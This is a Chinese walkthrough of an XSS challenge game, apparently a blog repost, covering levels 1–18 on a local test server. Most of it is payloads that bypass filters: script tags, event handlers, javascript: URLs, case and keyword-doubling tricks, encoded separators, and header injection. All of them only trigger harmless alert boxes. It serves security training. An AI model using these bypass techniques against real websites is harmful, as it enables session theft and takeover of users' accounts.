zoukankan      html  css  js  c++  java
  • XSS挑战之旅---游戏通关攻略

    最近发现一个有趣的XSS闯关小游戏,游戏的作者是先知社区的大佬Mramydnei,喜欢XSS的大家可以一起来学习交流。

    现在我把自己在前面的十八关里面的闯关过程记录一下,大神绕行,我是菜鸟,大家可以一起学习,互相进步成长。

    第一关,没有任何疑问,简单的不能再简单,没有任何过滤

    输入点在url里面,参数name

    输出点在页面里面,没有任何限制

    所以可以构造payload

    http://127.0.0.1/xss/level1.php?name=<script>confirm("完成的不错!")</script>
    
    http://127.0.0.1/xss/level1.php?name=<script>prompt("完成的不错!")</script>
    
    http://127.0.0.1/xss/level1.php?name=<script>alert("完成的不错!")</script>


    XSS挑战之旅---level2

    来到第二关,发现这次输入点在界面和url里面都有了

    输出点还是在界面中

    我们来尝试进行XSS试探

    test"><script>confirm("完成的不错!")</script>

    发现神奇的弹窗了,好吧,来看看源代码

    显而易见,上面尖括号被过滤了,而下面却没有

    这样的话,我们原来的payload是可以用的

    test"><script>confirm("完成的不错!")</script>
    
    test"><script>prompt("完成的不错!")</script>
    
    test"><script>alert("完成的不错!")</script>


    XSS挑战之旅---level3

    来到第三关,前面都比较简单,就不具体叙述

    输入点输出点见截图

    这里过滤了尖括号

    我们用事件来弹窗啦

    ' oninput=alert`1` //
    ' oninput=alert`1` '
    ' onchange=alert`1` //
    ' onchange=alert`1` '


    XSS挑战之旅---level4

    第四关和第三关基本一样,真搞不懂考察什么

    无非就是把源码里面单引号变成了双引号,同样事件弹窗

    payload:

    " onchange=alert`1` "
    " onchange=alert`1` //
    " oninput=alert`1` "
    " oninput=alert`1` //


    XSS挑战之旅---level5

    废话不多说了,剧情还是原来的剧情

    直接上源码吧

    <!DOCTYPE html><!--STATUS OK--><html>
    <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
    window.alert = function()  
    {     
    confirm("完成的不错!");
     window.location.href="level6.php?keyword=break it out!"; 
    }
    </script>
    <title>欢迎来到level5</title>
    </head>
    <body>
    <h1 align=center>欢迎来到level5</h1>
    <h2 align=center>没有找到和test相关的结果.</h2><center>
    <form action=level5.php method=GET>
    <input name=keyword  value="test">
    <input type=submit name=submit value=搜索 />
    </form>
    </center><center><img src=level5.png></center>
    <h3 align=center>payload的长度:4</h3></body>
    </html>

    这次是on替换成了o_n script替换成了sc_ript
    很明显这是不让我们用事件和script啊

    不想多说了,我自己走了弯路

    现在直接发我的payload:

    "> <a href="javascript:%61lert(1)">click me</a> //
    "> <a href="javascript:alert('xss')">111</a> //
    "> <a href="javascript:alert(/1/)">axxx</a> //

    XSS挑战之旅---level6

    来到level6,这一关测试的主要是大小写问题,可以用大小写绕过技术

    "> <Script>alert('handsome boy')</script> //
    "> <img Src=x OnError=alert('xss')> //

    有趣的事我自己用的编辑器也弹窗了,哈哈


    XSS挑战之旅---level7

    来到第七关,这一关是针对script和on的过滤,我们可以构造来绕过

    " oonninput=alert(1) "
    "> <scscriptript>alert`xss`</scscriptript> //

    XSS挑战之旅---level8

    来到了第八关,这一关难度加大,我们来继续

    首先,我们需要先来进行测试一番

    测试代码:

    "'%&#></script><p class="onmouseover=" onmouseover="xx" onxxx="">xxx</p>
    ' "><img src=x onerror=alert(2) x=

    没有过滤:' > < % & #

    过滤了:" src on script data

    就是这些了,唉,头疼

    输出点1:

    <input name=keyword  value=""'%&#></script><p class="onmouseover=" onmouseover="xx" onxxx="">xxx</p>">

    这个服了,直接放弃

    输出点2:

    </center><center><BR><a href=""'%&#></scr_ipt><p class="o_nmouseover=" o_nmouseover="xx" o_nxxx="">xxx</p>">友情链接</a></center><center><img src=level8.jpg></center>

    a标签内,href属性中,很明显,我们想到了协议绕过

    Javascript:伪协议后面可以使用URL编码。
            如:<a href="javascript:%61lert(1)">click me</a>可成功执行弹窗。
            可用img就不行:<img src=1 onerror="javascript:%61lert(1)">
            因为href属性会跳转到其中的URL,而会进行URL解码,onerror属性只会执行JS,不跳转同时后面的url编码可以再做一次entity(HTML实体)编码:
            <a href="javascript:%61lert(1)">click me</a>

    ri ri

    javascript:%61lert(1)
    javascript:alert(1)
    javascript:alert(1)
    javascript:alert(1)

    XSS挑战之旅---level9

    本题目难点在于它会自动检测url,如果发现没有带http:// 内容则会显示不合法,那么应该如何绕过呢?

    href必须带着url!

    javascript:alert(1)//http://www.0aa.me  //利用注释
    javascript:%0dhttp://www.0aa.me%0dalert(1)  //不能用注释的情况下

    针对题目,我们可以适当修改一下

    javascript:alert(1)//http://www.0aa.me
    javascript:%0dhttp://www.0aa.me%0dalert(1)  //

    XSS挑战之旅---level10

    http://127.0.0.1/xss/level10.php?keyword=well done!

    输入点在url中,参数是keyword

    首先测试以下过滤情况

    ' "><img src=x onerror=alert(2) x=

    群友大神给的payload:

    url=&t_sort=" type="text" onclick="alert()
    http://127.0.0.1/xss/level10.php?keyword=888888&t_sort="; type="text" onclick="alert()
    http://127.0.0.1/xss/level10.php?keyword=888888&t_sort=" type="" onclick="alert()
    http://127.0.0.1/xss//level10.php?keyword=well done!&t_sort=" onmouseover=alert(1) type="text"
    http://127.0.0.1/xss//level10.php?keyword=well done!&t_sort=8888" type="text" onmouseover="alert(666)

    XSS挑战之旅---level11

    我们从第十关走过来的,开始抓包,打开burp suit抓包看看

    http://127.0.0.1/xss//level10.php?keyword=well done!&t_sort=8888" type="text" onmouseover="alert(666)

    抓包以后观察,我们发现refer参数会输出到后面

    修改refer参数就可以达到弹窗效果了

    XSS挑战之旅---level12

    继续抓包,这次参数在user-agent处,依照第11关的办法抓包改包

    XSS挑战之旅---level13

    来到了第十三关,这次修改的参数在cookie里面

    XSS挑战之旅---level14

    查看源码通过iframe标签引入了一个http://exofvoewer.org, 结合乌云爆出的


    漏洞,上传一个含有xss代码的图片触发xss。

    exif xss

    XSS挑战之旅---level15

    这里用了angularjs的ng-include,直接在包含的页面里用&lt;script&gt;触发不了,用了img标签。

    遵循SOP,只好调用第一关代码。

    需要单引号包裹,否则变成注释。

    paload:

    /level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'

    AngularJS ng-include 指令

    ng-include 指令用于包含外部的 HTML 文件。

    包含的内容将作为指定元素的子节点。

    ng-include 属性的值可以是一个表达式,返回一个文件名。

    默认情况下,包含的文件需要包含在同一个域名下。

    <element ng-include="filename" onload="expression" autoscroll="expression" ></element>
    ```

    <ng-include src="filename" onload="expression" autoscroll="expression" ></ng-include>

    ```
    <body><span class="ng-include:'level1.php?name=test<img src=1 onerror=alert(1)>'"></span></body>

    XSS挑战之旅---level16

    ​ http://127.0.0.1/xss//level16.php?keyword=test

    过滤空格,script,/,使用%0d %0a做分割符

    payload:

    /level16.php?keyword=<img%0Dsrc=1%0Donerror=alert(1)>
    http://127.0.0.1/xss//level16.php?keyword=<img%0asrc=1%0aonerror=alert(1)>
    http://127.0.0.1/xss//level16.php?keyword=<img%0asrc=x%0donError=alert('xss')>
    http://127.0.0.1/xss//level16.php?keyword=<iframe%0asrc=x%0donmouseover=alert`1`></iframe>

    http://127.0.0.1/xss//level16.php?keyword=<svg%0aonload=alert`1`></svg>


    XSS挑战之旅---level17

    输入点在url,我们来寻找输出点

    不要被flash迷惑。

    输入点在url中,过滤了尖括号和双引号,用on事件触发。

    payload:

    /level17.php?arg01=a&arg02= onmouseover=alert(1)
    http://127.0.0.1/xss//level17.php?arg01=a&arg02=b 8888 onmouseover=alert(1)


    XSS挑战之旅---level18

    http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert(1)

    感觉17题和18题没啥区别啊

    payload:

    http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert(1)
    http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert`1`
    http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseover=alert`1`


    19关和20关属于Flash XSS,这里不再赘述,有兴趣的小伙伴们可以去深入学习。

    源码下载地址:https://github.com/xyongsec/xss-

  • 相关阅读:
    3.1C#中的命名空间
    2章总结
    2.4冒泡排序
    2.3 C#中的数组
    2.2二重循环
    2.1c#中的循环语句
    1章总结
    docker内外数据拷贝
    搭建docker环境
    centos7 部署Apache的httpd服务器
  • 原文地址:https://www.cnblogs.com/xyongsec/p/11230350.html
Copyright © 2011-2022 走看看